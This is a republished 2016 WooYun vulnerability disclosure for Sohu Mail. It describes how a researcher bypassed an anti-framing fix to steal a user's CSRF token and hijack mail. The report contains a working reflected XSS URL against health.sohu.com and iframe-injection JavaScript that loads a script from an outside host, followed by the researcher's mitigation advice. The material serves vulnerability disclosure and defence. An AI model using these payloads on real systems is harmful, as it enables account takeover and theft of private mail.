利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

admin 2017年4月14日22:53:45评论259 views字数 219阅读0分43秒阅读模式
摘要

2016-04-02: 细节已通知厂商并且等待厂商处理中
2016-04-02: 厂商已经确认,细节仅向厂商公开
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2016-191634

漏洞标题: 利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

相关厂商: 搜狐

漏洞作者: q601333824

提交时间: 2016-04-02 09:20

公开时间: 2016-05-17 13:10

漏洞类型: XSS 跨站脚本攻击

危害等级: 低

自评Rank: 1

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 反射型xss

3人收藏


漏洞详情

披露状态:

2016-04-02: 细节已通知厂商并且等待厂商处理中
2016-04-02: 厂商已经确认,细节仅向厂商公开
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

昨天收到厂商送的狐狸,比上次送的狐狸大,晚上再挖一个还你
这个就说明了,为什么治标不治本,还能绕过,没有去找根本原因

详细说明:

1.官方对于漏洞修复如下

利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

code 区域
if(window.location.href!==top.location.href){document.domain = "mail.sohu.com"; setInterval(function() {document.domain = "mail.sohu.com"; }, 5); location.href = "http://ni.nongshalei"; }

2.这种修复暂时没想到办法绕过,这个时候我做了一个假设,一个项目不可能一个人写的,肯定有疏漏的地方...,于是我找到下面这个页面

code 区域
http://mail.sohu.com/blank.html

3. 这个属于souhu.com域的,如图

利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

4.送你一枚反射XSS漏洞

code 区域
http://health.sohu.com/so/index.shtml?t=news&wd=96315%27%22onmouseover=%22alert(/1/)%22style=%22font-size:9999999999999999px;%22

-----------------------------------------------------------------------------------------------

5.下面是测试截图,利用http://mail.sohu.com/blank.html来请求http://mail.sohu.com的csrftoken,有了csrftoken,下面就不用我说了

利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

6.下面是测试代码

code 区域
var t=document.createElement("iframe");
t.setAttribute("src","http://mail.sohu.com/blank.html");
t.height="700";
t.width="700";
t.id="xss123";
document.body.appendChild(t);
function aaa(){
var ccc=document.getElementById("xss123").contentWindow;
var e=ccc.document.createElement("script");e.setAttribute("id","bdtbmarklet");e.setAttribute("src","http://192.168.1.103/1.js");ccc.document.body.appendChild(e);

}

setTimeout("aaa()",3000);//
code 区域
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET","http://mail.sohu.com/",true);
xmlhttp.send();
}
loadXMLDoc()

7.为什么加载本地JS,因为新浪云没豆用不了,JS就是一个AJAX请求代码

漏洞证明:

1.漏洞证明看上面

2.吹过的牛B要兑现,都说了,治标不治本,肯定还能再挖出来

修复方案:

1.每个页面都加段JS不现实,毕竟全网站多少页面你算算看

2.之所以可以再次绕过,归根结底是因为默认可以相同域请求,就是

mail.souhu.com/blank.html可以请求mail.souhu.com

4.没有设置的情况下,默认是

code 区域
Access-Control-Allow-Origin: mail.souhu.com

5.可以在http://mail.sohu.com/设置Access-Control-Allow-Origin,一般用不到的域名拒绝请求就行了,然后再看看允许请求的页面有没有设置window.top.location.href

6.也可以设置白名单的请求列表,这样修复就大大的缩短了范围

7.Access-Control-Allow-Origin和document.domain两个是不一样的,document.domain设置不会影响Access-Control-Allow-Origin,Access-Control-Allow-Origin设置不会影响document.domain

8.上面只是小白的建议

9.知其然知其所以然,毕竟查过资料自己测试进行对比得出的结论

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-04-02 13:04

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-02 09:46 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    1

    - -

  2. 2016-04-02 10:44 | 奶嘴 ( 普通白帽子 | Rank:414 漏洞数:110 | 17岁的毛孩 有些厂商故意加你好友,和你聊...)

    1

    活了

  3. 2016-04-03 22:02 | 梦皑皑 ( 路人 | Rank:1 漏洞数:1 | 本人小白,缺团队培养。)

    1

    送的是活的狐狸。。。/(^o^)/~

  4. 2016-04-04 00:47 | q601333824 ( 普通白帽子 | Rank:277 漏洞数:58 | 出自《狐妖小红娘》---自古人妖生死恋,千...)

    1

    @奶嘴 一直没死,只是换了一本书,看到了本地文件读取那章,然后去测试了下有没有可能,又中了,感觉又踩狗屎运了

  5. 2016-04-04 00:57 | q601333824 ( 普通白帽子 | Rank:277 漏洞数:58 | 出自《狐妖小红娘》---自古人妖生死恋,千...)

    1

    @梦皑皑 普通的玩偶,要是活的,等运到就饿死了

  6. 2016-04-05 12:34 | 梦皑皑 ( 路人 | Rank:1 漏洞数:1 | 本人小白,缺团队培养。)

    1

    @q601333824哈哈,是活的不会给你了 。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin